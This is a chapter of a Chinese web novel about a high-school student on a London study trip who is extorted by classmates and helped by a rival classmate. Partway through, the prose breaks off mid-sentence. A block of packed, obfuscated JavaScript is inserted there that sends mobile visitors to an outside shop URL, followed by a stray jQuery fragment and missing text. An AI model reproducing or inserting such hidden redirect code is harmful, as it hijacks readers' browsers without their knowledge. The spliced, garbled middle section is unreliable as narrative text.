“你要减肥啊?”
面前横空出世一份三明治,它突兀地悬停在她的视线中心,像从天而降的超人。
苏苏桉下意识想接过,但纠结再三,她还是克制住了心中的激动。她横了眼裴释,语调带着一种不愿示弱的尖锐,“你觉得我胖?“
胃里的空鸣被这股扑面而来的麦香瞬间点燃,苏苏桉一口气吃完了整半份三明治,碳水带来的满足,瞬让她的灵魂都颤。她小心翼翼地将剩下的半份收好。
“就这一小份东西还留下次,真要饿成仙啊?”裴释单手插兜,语气带着一种不经意的调侃,“是不是昨天逛街把钱都花完了,所以今天没钱吃饭啊?”
苏苏桉摇了摇头,“十三班的那个施心娇买了个西太后项链。”
她的钱全都拿去救援包子穆,上贡给十三班的施心娇了,哪还有钱买东西?她现在吃饭都成问题,全靠学校中午发的面包法棍艰难度日。
下午的行程走完,苏苏桉回到住宿的地方时,伦敦的夕阳已经沉入地平线,留下一抹如同淤青般的暗紫色。
一直到现在,她才终于得以见到包子穆。她今天一整天都忙着给十三班那几个女生提包,整个人像是被抽干了水分的植物,虚脱又涣散。
面包不抵饿,每天消耗的能量又实在大,苏苏桉留下的那半个三明治,包子穆像猪八戒吃人参果一般,一口吞下。
包子穆不止没尝到滋味,也没填饱肚子,而且好像还开了胃,有越来越饿的趋势。
连带着苏苏桉的胃也跟着剧烈收缩。
“我又问我爸要了点钱。”包子穆抹了抹嘴角的残渣,声音沙哑得厉害。
苏苏桉眼中升起的一星亮光,一脸希冀地望向包子穆。
“然后全都转给了那个人......”包子穆连施心娇的名字都不敢完整念出,自然是乖乖听她的话了,哪还会藏什么私房钱。
哎......
苏苏桉深深叹了口气,胃里的收缩连带着她的心都在颤抖。
没想到憧憬已久的研学居然成了一场旷日持久的荒野求生,她们不仅要四处奔波闲逛,每天晚上还要饿着肚子。
包子穆休息了一会,又要回自己房间受苦。
苏苏桉则一个人缩在房间里,完成苏珊布置的两张长试卷。
台灯的光打在纸页上,反射出一道冷冽的白光。苏苏桉肚子里的咕噜声在死寂的房间里被放大了数倍,像是一个恶鬼,在午夜疯狂作饿。
“早点睡吧,早点睡就不饿了。”
苏苏桉只能这样安慰自己。
只是好不容易写完了卷子,门口又传来声响:
“咚,咚咚。”
敲门声响起,沉闷而富有节奏。
苏苏桉心头一紧,不会是带队老师来突击检查吧?
此时的舍友依旧不在房间,她想通知,却也没有她的联系方式。
苏苏桉一时间想不出对策,但为了不引起怀疑,她只能走向门口,打开门。
却不想,撞见了裴释。
他站在走廊里,夜晚的湿气沾染在他的肩头,昏暗的光影将他挺拔的身形完全勾勒出来。
他神色如常,指尖却托着一个精致的小盒子,递到她面前。
盒子被打开的一瞬,苏苏桉的瞳孔微微长大。
里面静静躺着西太后的经典土星吊坠。
蓝宝石在昏暗的走廊灯光下,泛着温润而细腻的光泽,那一圈晶莹的碎钻像是被冻结的星环,在昏暗光影下格外冷峻华丽。
“干嘛?这哪来的?”苏苏桉的声音有些发颤。
其实她并不爱好什么珠宝首饰,比起漂亮,她更觉得累赘。
如果有人要她花几千几万甚至更多的钱去买一条项链,她只会觉得他疯了,如果有人为她花几千几万甚至更多的钱去买一条项链,她也会觉得他疯了。
因为,那些破铜烂铁不值这个价,真正珍贵的是真心与真爱。
如果有人为她付出了真心,如果有人无条件地爱她......她是真的会哭的。
只不过,裴释没听出她的颤音,他面色平静,甚至能一本正经地打趣,“垃圾桶捡的。”
......
鸡同鸭讲,对牛弹琴。
苏苏桉垂下眸子,快到嘴边的委屈被她生生咽下。望着躲闪的裴释,她伸手递还,“扔回去吧。”
裴释的脸色瞬间沉了下来,一股寒意在走廊蔓延。
“自己去扔。”
他冷冷地甩下一句话。
苏苏桉察觉到了他眉眼的愠怒,还是妥协了,“那算了……我先收着吧。”
苏苏桉接过,裴释却迟迟不见挪步,险些与她对上的目光慌张偏开,浑身都透着局促的不自在。
或许他也在犹豫。
周遭的声响不入耳,两人之间静得能听见彼此轻浅的呼吸,连心跳撞在胸腔里的声响,都显得格外突兀。
“咕噜——”
一声不合时宜的胃鸣,毫无尊严地发出了巨大的声响。
羞耻感像是一股滚烫的岩浆,顺着苏苏桉的脚踝一路烧到了耳根。她低着头,恨地上没有缝,不能瞬间消散在裴释眼前。
“我要睡觉了。”苏苏准备关门,却被裴释拦住。
“一起去吃饭吧。”
裴释的语气平淡得像是一潭不起波澜的湖水,但对此时的她,却有着致命的吸引力。
也或许是饭对她的诱惑。
九点半的伦敦,喧闹已经熄灭。大部分店铺都已经打烊,唯有街道角落里一家不起眼的小面馆,还亮着一盏暖黄的灯。
熟悉的面庞,熟悉的乡音,老板一眼认出他们是中国人。老乡见老乡,两眼泪汪汪,连给他们的两碗面都特意多加一把肉。
牛肉的浓香混杂着豆瓣酱的咸鲜,随着腾腾的热气扑面而来,瞬间模糊了苏苏桉的视线。
一筷子面下肚,温暖从喉咙窜到心尖,让苏苏桉的鼻尖酸得厉害,不是因为委屈或伤心,仅仅是因为此刻的幸福。
“到底怎么回事?”裴释坐在她对面,那张脸隐在昏黄的灯光下,严肃得有些陌生。
苏苏桉还想回避,她往嘴里塞了一大口面,可辛红的辣油瞬间炝入她的鼻腔,激起了一阵火辣辣的刺痛。
她抽了张纸,狠狠擤了鼻涕,她要逼自己坚强,可眼底的脆弱与难过怎么藏都藏不住。
她都饿两天了,他怎么才反应过来?!
苏苏桉眼眶酸胀得发涩,眼泪,混杂着积压已久的委屈,全都顺着情绪翻涌上来。所有硬撑的平静和洒脱,在这一刻,碎得彻底。
“我和包子穆......被人勒索了。”
那是一个很短的故事,但比起情节,更难叙述的是包子穆在其中所承受的痛苦与压力。
裴释听完,久久没有说话。他修长的手指搭在桌缘,指尖微微泛白。
“怎么办啊裴释。”苏苏桉抬起头,眼睛红得像只受惊的兔子。
“你别管了,”裴释的声音恢复了冷冽。他从钱包里抽出十张五十英镑,整齐地压在苏苏桉手边,“好好吃饭。”
如果是平时,苏苏桉一定会暗骂他装模作样,但此刻,手比心更诚实,她默默地收起了那叠带着他体温的纸钞。
第二天,研学的目的地是肃穆的英国皇家法庭。
为了保护隐私,两班的电子产品被统一收齐管理。掌握手机后,十三班的班主任脸色铁青地叫走了施心娇几人,在某间密闭的休息室里,所有电子产品被一一强制解锁。相册、云盘、备份文件......老师仔细检查
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542128|202284||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了每个软件,每个账号,确保彻底删除了视频。
告老师。
苏苏桉没想到裴释居然会用这么简单粗暴的方式。
但比起不可控的报警,或者她们继续上贡,又或者他们可能会激怒她们的威胁,这确实是她们处理这个问题的绝佳答案。
只可惜,除了归还钱财外,她们并没有获得任何实质性惩罚。而包子穆也仅仅是得到了她应有的钱财,并调到了单人间居住。
或许是对这个结局不满意,又或许是对处理方式不满意,包子穆并没有苏苏桉预想中的解脱,反而,她看向苏苏桉的眼神,多了一层无法破开的阴翳。
她开始有意识无意识地疏远起苏苏桉,一连几天都没有和她说话。她也开始尝试新的朋友,那些相对陌生的、未曾见过她短暂落魄的。
苏苏桉则又变回了一个人,有时候也和裴释、江曜一起。
眼泪总是咸的,偏偏天又晴朗,灿烂的阳光照在她的身上,让委屈与难过无处可藏。
裴释看不得她这副消沉的样子,于是他去找了包子穆。
下午,包子穆主动过来,她们重归于好。
只是,苏苏桉总觉得她们和以前不一样了。
具体哪里不一样了,她也说不上来。总不能仅仅是因为包子穆没以前那么热情了,就判定她为冷漠吧。
她深吸一口气,想要消除心中的不安,但她又无比清晰地感知到,她和包子穆之间隔了一层厚厚的雾,即使在阳光灿烂的春天,也驱散不了她们之间的隔阂。
她想抓住她问清楚,但她又不敢,她怕破开迷雾后,什么都没有了,于是和包子穆说话时,她都匿着一口气讨好。
又连着下了几天雨,带着温热海汽的寒风打碎了还未繁盛的樱花,名校研学继续,但户外游玩基本都被取消。
原定今天去的七姐妹白崖也被取消行程,十三班组织了其他参观活动,三班一群人则是在酒店继续百无聊赖地休息。
这样平静祥和的日子,钓出了苏苏桉的懒惰本性,她没有向苏珊报告她的空闲,而是躺着,在床上断断续续躺尸了三四天。
而这样的日子,可能还要持续两三天,因为明天活动也被取消了。
“你们明天干嘛?”江曜靠在走廊边,声音里带着点炫耀。
他班级明天还有活动,而苏苏桉裴释班级没有。
“休息。”
裴释淡淡开口。
苏苏桉也想休息,但这种毫无意义的消磨,让她感到一种没由来的心慌。在这个所有人都被分数推着走的环型高速,哪怕一秒钟的停留,都让她觉得,自己正在被裴释甩开。
毕竟,她不确定裴释是否真的休息,虽然她已经放弃从前那个幼稚的计划,但是她和裴释的竞争永远也不会停止。
苏苏桉看向裴释,“我们一起出去玩吧。”
她的声音很轻,说完,她又像是做了什么亏心事一般,飞快地偏过头去。
上一次邀请他一起出去玩的场景犹在眼前,那时候的直白与坦率,现在怎么也装不出来了。
因为她的心里多了一样东西,沉甸甸的。
她开始变得矛盾,刚刚说出口的话,她都想撤回。
“去哪?”裴释来了兴致,“德法瑞最近,意西葡其次,或者你想去冰岛、挪威看极光?”
苏苏桉瞥了他一眼。他目光澄澈,一脸认真,只是在单纯讨论行程。
可苏苏桉却不敢细看他。不知从什么时候起,她看向裴释的目光里,已不再是纯粹的嫉恨,而是掺杂了一些让她自己都感到心惊的悸动。
苏苏桉移开视线,“没签证,能去哪。”
“爱尔兰。”
威克洛,一天半往返,计划去看海豹晒太阳,然后去爬皑皑的雪山。